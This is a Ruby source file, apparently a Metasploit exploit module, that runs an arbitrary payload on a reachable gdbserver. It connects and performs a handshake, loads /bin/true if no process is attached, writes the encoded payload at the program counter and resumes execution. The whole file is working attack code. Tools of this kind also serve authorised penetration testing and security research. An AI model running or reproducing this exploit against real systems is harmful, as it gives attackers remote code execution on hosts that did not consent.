85 lines
2.2 KiB
Ruby
85 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Gdb
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GDB Server Remote Payload Execution',
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'Description' => %q{
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This module attempts to execute an arbitrary payload on a loose gdbserver service.
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},
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'Author' => [ 'joev' ],
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'Targets' => [
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[ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ],
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[ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ]
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],
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'References' =>
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[
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['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691']
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],
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'DisclosureDate' => 'Aug 24 2014',
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'Platform' => %w(linux unix osx),
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'PrependFork' => true
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}
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))
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register_options([
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OptString.new('EXE_FILE', [
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false,
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"The exe to spawn when gdbserver is not attached to a process.",
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'/bin/true'
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])
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], self.class)
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end
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def exploit
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connect
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print_status "Performing handshake with gdbserver..."
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handshake
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enable_extended_mode
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begin
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print_status "Stepping program to find PC..."
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gdb_data = process_info
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rescue BadAckError, BadResponseError
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# gdbserver is running with the --multi flag and is not currently
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# attached to any process. let's attach to /bin/true or something.
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print_status "No process loaded, attempting to load /bin/true..."
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run(datastore['EXE_FILE'])
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gdb_data = process_info
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end
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gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
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unless payload.arch.include? gdb_arch
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fail_with(
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Msf::Exploit::Failure::BadConfig,
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"The payload architecture is incorrect: "+
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"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."
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)
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end
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print_status "Writing payload at #{gdb_pc}..."
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write(payload.encoded, gdb_pc)
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print_status "Executing the payload..."
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continue
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handler
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disconnect
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end
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end
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